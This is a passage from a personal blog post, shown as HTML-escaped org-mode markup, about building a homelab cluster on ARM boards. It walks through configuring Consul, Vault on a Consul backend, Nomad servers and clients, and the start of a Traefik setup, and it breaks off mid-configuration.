Second, note that I'm telling the client to listen on &lt;i&gt;both&lt;/i&gt; &lt;code&gt;localhost&lt;/code&gt; and the &lt;code&gt;docker0&lt;/code&gt; interface.
This is crucial, because when I end up running services in Docker containers, I need to have a way to hook those containers into the local consul daemon (and I don't feel like running consul in a container).
This permits me to instruct containers to talk to their host's IP to get at consul, which is pretty important later on.
&lt;/p&gt;

&lt;p&gt;
Lastly, because consul is listening on whatever-the-ip-is for &lt;code&gt;docker0&lt;/code&gt;, it's now dependent on the docker service being up so that interface is available to listen on, so I ended up dropping a systemd service override in for consul:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Systemd&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment-delimiter"&gt;Font used to highlight comment delimiters.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-systemd"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;/etc/systemd/system/consul.service.d/depend-docker.conf&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-type"&gt;[Unit]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;After&lt;/span&gt;=docker.service&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;Requires&lt;/span&gt;=docker.service&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
After a quick
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo systemctl enable --now docker&lt;/code&gt;
&lt;code&gt;sudo systemctl enable --now consul&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
On the consul servers/leaders, I've got a nice cluster goin'.
The clients don't need quite as much in their configs:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-json"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"data_dir"&lt;/span&gt;: &lt;span class="org-string"&gt;"/var/lib/consul"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"datacenter"&lt;/span&gt;: &lt;span class="org-string"&gt;"lan"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"disable_update_check"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"log_level"&lt;/span&gt;: &lt;span class="org-string"&gt;"INFO"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"retry_join"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"farnsworth"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"curie"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"planck"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"server"&lt;/span&gt;: &lt;span class="org-constant"&gt;false&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
That's enough to get the LAN clustered.
While it isn't flashy now, consul will be critical later.
At the very least, you've got some rudimentary uptime checks when you look at live cluster members:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;consul members&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
With consul operational, I took one additional step to make checking in on services that register with consul even easier from non-cluster machines (like my laptop or phone) a little easier.
The following line in my router's &lt;code&gt;/etc/dnsmasq.conf&lt;/code&gt; instructs it to forward requests for &lt;code&gt;consul&lt;/code&gt; domains to the local consul listener:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Conf[Unix]&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-conf"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-variable-name"&gt;server&lt;/span&gt;=/consul/127.0.0.1&lt;span class="org-comment-delimiter"&gt;#&lt;/span&gt;&lt;span class="org-comment"&gt;8600&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This means that, for example, I can &lt;code&gt;curl nomad.service.consul:4646&lt;/code&gt; from anywhere on my network to check in on Nomad, and makes some other operations easier as well that I'll go into later on.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-secret-management"&gt;
&lt;h5 id="secret-management"&gt;Secret Management&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-secret-management"&gt;
&lt;p&gt;
Although you don't &lt;i&gt;strictly&lt;/i&gt; need this, if you run Nomad workloads with credentials of any sort (such as database connection credentials, API keys, etc), this will enable you to avoid committing credentials when you manage Nomad tasks.
In addition, big chunks of infra like to use certs for authentication (Gluster, for example), and trust me: you &lt;i&gt;will want to use Vault for PKI management&lt;/i&gt; and not horrendous &lt;code&gt;openssl&lt;/code&gt; commands.
I've done this for journald-remote authentication and it works swimmingly.
&lt;/p&gt;

&lt;p&gt;
For self-managed secret management, &lt;a href="https://www.vaultproject.io/"&gt;Vault&lt;/a&gt; is pretty much the gold standard.
Good news: with consul up, you can pop Vault atop it to serve as both the high-availability &lt;i&gt;and&lt;/i&gt; storage backend.
Truly, we live in the future.
&lt;/p&gt;

&lt;p&gt;
I actually opt to run Vault in a Docker container, primarily because with Consul as the state backend, I have literally no persistence and/or confguration requirements for Vault other than "talk to consul", so running as a container is just a little easier than managing an operating system package.
&lt;/p&gt;

&lt;p&gt;
If you're really curious, here's the Ansible stanza for my Vault config:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;YAML&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-yaml"&gt;&lt;code&gt;&lt;code&gt;- &lt;span class="org-variable-name"&gt;name&lt;/span&gt;: Run Vault&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;docker_container&lt;/span&gt;:&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;name&lt;/span&gt;: vault&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;capabilities&lt;/span&gt;:&lt;/code&gt;
&lt;code&gt;    - IPC_LOCK&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;command&lt;/span&gt;:&lt;/code&gt;
&lt;code&gt;  - server&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;env&lt;/span&gt;:&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;VAULT_LOCAL_CONFIG&lt;/span&gt;: |&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-string"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-string"&gt;        "backend": {&lt;/code&gt;
&lt;code&gt;          "consul": {&lt;/code&gt;
&lt;code&gt;            "address": "172.17.0.1:8500",&lt;/code&gt;
&lt;code&gt;            "service_tags": "traefik.enable=true"&lt;/code&gt;
&lt;code&gt;          }&lt;/code&gt;
&lt;code&gt;        },&lt;/code&gt;
&lt;code&gt;        "default_lease_ttl": "168h",&lt;/code&gt;
&lt;code&gt;        "listener": {&lt;/code&gt;
&lt;code&gt;          "tcp": {&lt;/code&gt;
&lt;code&gt;            "address": "0.0.0.0:8200",&lt;/code&gt;
&lt;code&gt;            "tls_disable": true&lt;/code&gt;
&lt;code&gt;          }&lt;/code&gt;
&lt;code&gt;        },&lt;/code&gt;
&lt;code&gt;        "max_lease_ttl": "720h",&lt;/code&gt;
&lt;code&gt;        "ui": true&lt;/code&gt;
&lt;code&gt;      }&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;image&lt;/span&gt;: vault:0.10.3&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;published_ports&lt;/span&gt;:&lt;/code&gt;
&lt;code&gt;  - 8200:8200&lt;/code&gt;
&lt;code&gt;  - 8201:8201&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;restart_policy&lt;/span&gt;: always&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;state&lt;/span&gt;: started&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
I know, it needs real TLS.
That's in the works; we're securing stuff like my Postgres password here, not nuclear launch codes.
&lt;/p&gt;

&lt;p&gt;
Once those containers are in place, they'll cluster and you can follow the typical Vault bootstrapping steps (initializing Vault, generating unseal keys, delegating to a non-root token, and so on).
That Traefik tag is for later; it'll expose Vault over TLS for us when the time comes for everyday use.
&lt;/p&gt;

&lt;p&gt;
Again, I've had nothing but good experiences running this on ARM single-board computers, and Hashicorp's official images include builds for ARM, which is a rare treat.
My cluster is spread among an ODroid HC1, a Raspberry Pi B+, and an ODroid XU4 on different network paths for good measure.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-2-the-runtime"&gt;
&lt;h4 id="part-2-the-runtime"&gt;Part 2 - The Runtime&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-2-the-runtime"&gt;
&lt;p&gt;
Okay, at this point we have reliable persistence for workloads, service discovery and distributed consensus, as well as secret management.
Let's talk about actually running services and applications!
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-scheduler"&gt;
&lt;h5 id="the-scheduler"&gt;The Scheduler&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-the-scheduler"&gt;
&lt;p&gt;
It's no secret that Kubernetes is massively popular, and it's mostly deserved &amp;ndash; it's extremely powerful, and can handle pretty much anything you throw at it.
But that power comes at a cost, and you pay for it with the inherent complexity with everything it can do.
I've set up Kubernetes from scratch and &lt;i&gt;wow&lt;/i&gt;, there are a lot of moving parts, and many of those pieces are &lt;i&gt;still&lt;/i&gt; somewhat of a mystery to me (I still don't fully grok networking between pods).
I have very little confidence I could fix a problem with a broken cluster, let alone debug something occurring at the etcd consensus layer or lower.
&lt;/p&gt;

&lt;p&gt;
I don't deny the irony in observing that I've had to set up many other systems to support Nomad which creates complexity &lt;i&gt;anyway&lt;/i&gt;, but the difference is that if I experience, for example, problems with request routing in Traefik, the inputs, outputs, and configuration for that system are clearly defined and visible.
&lt;/p&gt;

&lt;p&gt;
Anyway: though there are other container schedulers out there like Mesos, Rancher, and more, I thought I'd put some faith in Nomad given that I have a high degree of confidence in its component parts (Consul, Vault, and so on).
It's got the typical convenient trappings of most distributed runtimes (min/max [un]available enforcement, secret injection, service advertisement, etc.) plus some that are nicer than Kubernetes (like executors other than Docker).
Some features are missing - most notably for me, truly native persistent storage support and scheduling algorithms other than bin packing - but those haven't been dealbreakers.
&lt;/p&gt;

&lt;p&gt;
Like most modern Hashicorp products, Nomad is a go binary, and by hooking it into Consul, we get clustering operational a little more easily.
Here's a server config (Nomad also operates under the quorum of servers + rest are clients paradigm as Consul):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-json"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"bind_addr"&lt;/span&gt;: &lt;span class="org-string"&gt;"0.0.0.0"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"data_dir"&lt;/span&gt;: &lt;span class="org-string"&gt;"/var/lib/nomad"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"disable_update_check"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"leave_on_interrupt"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"leave_on_terminate"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"server"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"bootstrap_expect"&lt;/span&gt;: &lt;span class="org-constant"&gt;3&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"enabled"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"client"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"enabled"&lt;/span&gt;: &lt;span class="org-constant"&gt;false&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"datacenter"&lt;/span&gt;: &lt;span class="org-string"&gt;"lan"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"telemetry"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"prometheus_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"publish_allocation_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"publish_node_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"vault"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"address"&lt;/span&gt;: &lt;span class="org-string"&gt;"http://vault.service.consul:8200"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"create_from_role"&lt;/span&gt;: &lt;span class="org-string"&gt;"nomad-cluster"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"enabled"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
As you can see, I've got Nomad prepped for metrics collection via Prometheus and secret injection from Vault.
My client configs are similar:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-json"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"bind_addr"&lt;/span&gt;: &lt;span class="org-string"&gt;"0.0.0.0"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"client"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"meta"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-3"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-keyword"&gt;"cluster"&lt;/span&gt;: &lt;span class="org-string"&gt;"compute"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"data_dir"&lt;/span&gt;: &lt;span class="org-string"&gt;"/var/lib/nomad"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"disable_update_check"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"leave_on_interrupt"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"leave_on_terminate"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"datacenter"&lt;/span&gt;: &lt;span class="org-string"&gt;"lan"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"server"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"enabled"&lt;/span&gt;: &lt;span class="org-constant"&gt;false&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"telemetry"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"prometheus_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"publish_allocation_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"publish_node_metrics"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-keyword"&gt;"vault"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"address"&lt;/span&gt;: &lt;span class="org-string"&gt;"http://vault.service.consul:8200"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"create_from_role"&lt;/span&gt;: &lt;span class="org-string"&gt;"nomad-cluster"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"enabled"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Metadata for scheduling tweaks is very useful - in addition to adding metadata for homogeneous nodes, I also add some node index/count data for more flexibility.
With the previously-mentioned changes to DNS resolution, I can hit a simple DNS name to run typical &lt;code&gt;nomad&lt;/code&gt; commands from my workstation (with or without a local consul agent):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-variable-name"&gt;NOMAD_ADDR&lt;/span&gt;=http://nomad.service.consul:4646 nomad status&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
In addition to some lovely dashboards available at the same address:
&lt;/p&gt;


&lt;div class="figure" id="org39dc26e"&gt;
&lt;p&gt;&lt;img alt="nomad_ui.png" class="mainline" src="../assets/images/nomad_ui.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 3: &lt;/span&gt;Nomad Web Interface&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-exposing-applications"&gt;
&lt;h5 id="exposing-applications"&gt;Exposing Applications&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-exposing-applications"&gt;
&lt;p&gt;
At this point we nearly have a ready-made system to submit workloads and run them in a highly-available, clustered setup.
However, one more piece will make webapps infinitely more easy to use once we deploy them: &lt;a href="https://traefik.io/"&gt;Traefik&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
In a nutshell, Traefik looks at the metadata for schedulers like Kubernetes, Mesos, Nomad, and others, and acts as the routing glue so that you can talk to a simple frontend like &lt;code&gt;https://app.mydomain.com&lt;/code&gt; and Traefik will send traffic to the right workload (container), no matter where it's running - which is important when your applications can be running on any given host in a cluster at any time (potentially even multiple hosts).
&lt;/p&gt;

&lt;p&gt;
For an introductory tour of Traefik, I do recommend checking out &lt;a href="https://docs.traefik.io/"&gt;the docs&lt;/a&gt; to get started, since there are a lot of concepts in there to get familiar with.
This post is already pretty excessive, so I'm not going to give a blow-by-blow of how it works, but rather the highlights to get it up and running.
&lt;/p&gt;

&lt;p&gt;
First: the configuration backend. You can configure Traefik with a simple config file, but storing your configuration in Consul lets you 1) run more than one Traefik instance for high availability, 2) alleviate the need to manage a config file and related storage, and 3) lets you dynamically configure several aspects of Traefik just by writing Consul keys (which has been &lt;i&gt;really&lt;/i&gt; nice in practice).
&lt;/p&gt;

&lt;p&gt;
To get Traefik's configuration bootstrapped in consul, there's a helpful &lt;code&gt;storeconfig&lt;/code&gt; command:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;cat traefik.toml&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;toml&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-toml"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-variable-name"&gt;loglevel&lt;/span&gt; = &lt;span class="org-string"&gt;"INFO"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;defaultEntryPoints&lt;/span&gt; = [&lt;span class="org-string"&gt;"https"&lt;/span&gt;,&lt;span class="org-string"&gt;"http"&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;[&lt;span class="org-type"&gt;entryPoints&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;  [&lt;span class="org-type"&gt;entrypoints.api&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;address&lt;/span&gt; = &lt;span class="org-string"&gt;":8080"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  [&lt;span class="org-type"&gt;entryPoints.http&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;address&lt;/span&gt; = &lt;span class="org-string"&gt;":80"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    [&lt;span class="org-type"&gt;entryPoints.http.redirect&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;entryPoint&lt;/span&gt; = &lt;span class="org-string"&gt;"https"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  [&lt;span class="org-type"&gt;entryPoints.https&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;address&lt;/span&gt; = &lt;span class="org-string"&gt;":443"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  [&lt;span class="org-type"&gt;entryPoints.https.tls&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;[&lt;span class="org-type"&gt;consul&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;endpoint&lt;/span&gt; = &lt;span class="org-string"&gt;"172.17.0.1:8500"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;watch&lt;/span&gt; = &lt;span class="org-keyword"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;prefix&lt;/span&gt; = &lt;span class="org-string"&gt;"traefik"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;[&lt;span class="org-type"&gt;acme&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;email&lt;/span&gt; = &lt;span class="org-string"&gt;"you@example.com"&lt;/span&gt;&lt;/code&gt;
